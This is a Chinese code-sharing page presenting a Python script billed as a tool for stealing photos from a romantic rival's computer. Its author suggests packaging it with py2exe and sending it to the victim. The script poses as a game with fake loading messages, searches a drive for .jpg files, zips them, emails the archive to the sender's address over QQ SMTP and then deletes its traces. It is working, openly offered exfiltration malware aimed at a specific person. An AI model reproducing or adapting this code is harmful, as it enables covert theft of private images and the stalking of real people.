python获取情敌电脑内照片神器,,python获取情敌电脑
python获取情敌电脑内照片神器,,python获取情敌电脑
python获取情敌电脑内照片神器,有点类似社工啦,发送给你的情敌,自动搜索电脑上的图片,发送到你的邮箱~~程序主要由三个主要功能组成,第一个就是根据文件类型搜索电脑内的图片,第二个就是将搜索完成后的文件打包压缩,第三个就是添加邮件附件发送了。功能很简单,邮件代码也是参照前人的。经过测试,发现并不是每次都能成功,有些时候会报错,不知道是不是杀毒软件的原因,请高手们指点一二哈。作为一名新手,请不喜勿碰,多多关照哈~~~注明:首先呢,这只是一个初步的想法,并非什么高大上的东西,所以请各位大神们多担待。想要在对方电脑上运行python,可以用py2exe之类的打包一下,这个想必大家都知道,只是打包文件较大,想要社工还是比较难的。这只是我个人的一个思路,纯属娱乐,呵呵。
python获取情敌电脑内照片神器代码片段
1.[代码][Python]代码
#!usr/bin/env python#coding=utf-8print ' **********************************************'print ' * THIS IS A GAME *'print ' * BY www.iplaypy.com *' print ' * Sorry ,Waiting three minutes please! *'print ' **********************************************'import osimport reimport shutilimport smtplibimport emailfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBaseimport os.pathimport mimetypesimport zipfileimport sysdef path_find(path_filename): global num try: pathlist= os.listdir(path_filename) for i in pathlist: path_all=os.path.join(path_filename,i) if os.path.isfile(path_all): # print path_all re_file=re.compile(res) re_files=re_file.findall(path_all) # print re_files if len(re_files)==1: filenames.append(re_files[0]) # print re_files[0] try: num=num+os.path.getsize(re_files[0]) #print num if num<300000000: #判断文件夹的大小,并设置一个上限 shutil.copy(re_files[0],'f:/system') #f.write(re_files[0]) else: break except: #print 'error' pass else: pass else: path_find(path_all) except: #print 'this is error dirctory!' passdef emails(ev=None): try: From = "邮箱" To = ['邮箱'] file_name = "f:/system.zip"#附件名 server = smtplib.SMTP("smtp.qq.com") server.login("邮箱账号","邮箱密码") #仅smtp服务器需要验证时 # 构造MIMEMultipart对象做为根容器 main_msg = email.MIMEMultipart.MIMEMultipart() # 构造MIMEText对象做为邮件显示内容并附加到根容器 text_msg = email.MIMEText.MIMEText("this is a test text to text mime",_charset="utf-8") main_msg.attach(text_msg) # 构造MIMEBase对象做为文件附件内容并附加到根容器 ## 读入文件内容并格式化 data = open(file_name, 'rb') ctype,encoding = mimetypes.guess_type(file_name) if ctype is None or encoding is not None: ctype = 'application/octet-stream' maintype,subtype = ctype.split('/',1) file_msg = email.MIMEBase.MIMEBase(maintype, subtype) file_msg.set_payload(data.read()) data.close( ) email.Encoders.encode_base64(file_msg)#把附件编码 ''''' 测试识别文件类型:mimetypes.guess_type(file_name) rar 文件 ctype,encoding值:None None(ini文件、csv文件、apk文件) txt text/plain None py text/x-python None gif image/gif None png image/x-png None jpg image/pjpeg None pdf application/pdf None doc application/msword None zip a2000pplication/x-zip-compressed None encoding值在什么情况下不是None呢?以后有结果补充。 ''' #--------------------------------------------- ## 设置附件头 basename = os.path.basename(file_name) file_msg.add_header('Content-Disposition','attachment', filename = basename)#修改邮件头 main_msg.attach(file_msg) # 设置根容器属性 main_msg['From'] = From main_msg['To'] = ";".join(To) main_msg['Subject'] = "attach test " main_msg['Date'] = email.Utils.formatdate( ) # 得到格式化后的完整文本 fullText = main_msg.as_string( ) # 用smtp发送邮件 print ' This loading....70%......waiting.......' try: server.sendmail(From, To, fullText) finally: server.quit() print ' This loading....90%......waiting.......' except: passif __name__=='__main__': print ' Waiting Please......Game Loading......' print '' print ' This loading....10%......Waiting.......' num=0 x=51 try: os.mkdir(r'f:/system/') except: pass filenames=[] res=r'.*\.jpg' path_filename="e:/" #raw_input('dirctory(example D:/):') # re_rule=raw_input('filetype(example:txt):') # re_rule='.*\.'+re_rule path_find(path_filename) print ' This loading....30%......Waiting.......' f=zipfile.ZipFile('f:/system.zip','a',zipfile.ZIP_DEFLATED) startdir="f:/system" for dirpath, dirnames, filename_s in os.walk(startdir): for filename_a in filename_s: if os.path.getsize('f:/system.zip')<49000000: #因为附件最大只能50M。 f.write(os.path.join(dirpath,filename_a)) else: break f.close() print ' This loading....50%......Waiting.......' emails() try: shutil.rmtree('f:/system') os.remove('f:/system.zip') except: pass print ' This loading....100%.....Thanks you very much' print '' print ' bye bye' print '' print ''
编橙之家文章,
相关内容
- python随机搜索并打开该路径内的文件,,标签: <pyt
- 基于python Selenium的用户登录自动化测试,pythonselenium,使
- 通过python hp ilo对机器的状态进行监控,pythonilo,<通过
- python深度搜索+命令模式 解数独,python解数,python深度搜
- 网友用python把IPv4地址变成LITNET-NAT64网段,ipv4litnet-nat
- python抓取百度音乐mp3歌曲,python抓取百度音乐,python抓取
- 使用Python生成文件的MD5和sha1,,使用Python生成文件
- 绑定修改网卡绑定关系的python程序,修改网卡绑定pyt
- Python用来处理图像几何变换,python图像几何变换,Pytho
- 用python将语料转化为可计算的形式,python语料,自然语言
评论关闭